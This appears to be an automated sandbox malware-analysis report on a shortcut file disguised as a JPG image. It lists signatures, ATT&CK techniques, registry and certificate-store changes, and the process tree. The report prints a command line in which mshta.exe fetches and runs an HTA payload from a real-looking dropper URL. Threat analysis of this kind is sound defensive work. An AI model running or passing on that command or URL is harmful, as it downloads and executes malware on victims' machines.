1af2c8d963b56512e04a7f2136b3794f4172ae089e72880119e6bcdba4e9df9c

Analysis

max time kernel
236s
max time network
721s
platform
windows10-2004_x64
resource
win10v2004-20220310-en
submitted
22-03-2022 12:37

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General

Target

samples/IMG_20210603_122331.jpg.lnk

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://inapharma.in/css/files/photos/Sunakshi/IMG_20210603_122331

Signatures

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exe

flow pid process

39 4416 mshta.exe
41 4416 mshta.exe
43 4416 mshta.exe
44 4416 mshta.exe
47 4416 mshta.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies data under HKEY_USERS 1 IoCs

Processes:

svchost.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe

flow	pid	process
39	4416	mshta.exe
41	4416	mshta.exe
43	4416	mshta.exe
44	4416	mshta.exe
47	4416	mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	cmd.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

cmd.exe

description pid process target process

PID 4904 wrote to memory of 4416 4904 cmd.exe mshta.exe
PID 4904 wrote to memory of 4416 4904 cmd.exe mshta.exe

description	pid	process	target process
PID 4904 wrote to memory of 4416	4904	cmd.exe	mshta.exe
PID 4904 wrote to memory of 4416	4904	cmd.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG_20210603_122331.jpg.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4904

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Sunakshi/IMG_20210603_122331
2⤵
- Blocklisted process makes network request
- Modifies system certificate store
PID:4416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:3600

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3600-137-0x0000027A8ED70000-0x0000027A8ED80000-memory.dmp

Filesize
64KB

Download
memory/3600-138-0x0000027A8EFA0000-0x0000027A8EFB0000-memory.dmp

Filesize
64KB

Download
memory/3600-139-0x0000027A8F190000-0x0000027A8F194000-memory.dmp

Filesize
16KB

Download
memory/3600-140-0x0000027A91640000-0x0000027A91644000-memory.dmp

Filesize
16KB

Download
memory/3600-141-0x0000027A91620000-0x0000027A91621000-memory.dmp

Filesize
4KB

Download
memory/3600-142-0x0000027A8F1C0000-0x0000027A8F1C4000-memory.dmp

Filesize
16KB

Download
memory/3600-143-0x0000027A8F1B0000-0x0000027A8F1B1000-memory.dmp

Filesize
4KB

Download
memory/3600-144-0x0000027A8F1B0000-0x0000027A8F1B4000-memory.dmp

Filesize
16KB

Download
memory/3600-145-0x0000027A8F0B0000-0x0000027A8F0B1000-memory.dmp

Filesize
4KB

Download
memory/4416-135-0x00007FFA34E10000-0x00007FFA358D1000-memory.dmp

Filesize
10.8MB

Download
memory/4416-136-0x000001E8C03C6000-0x000001E8C03C7000-memory.dmp

Filesize
4KB

Download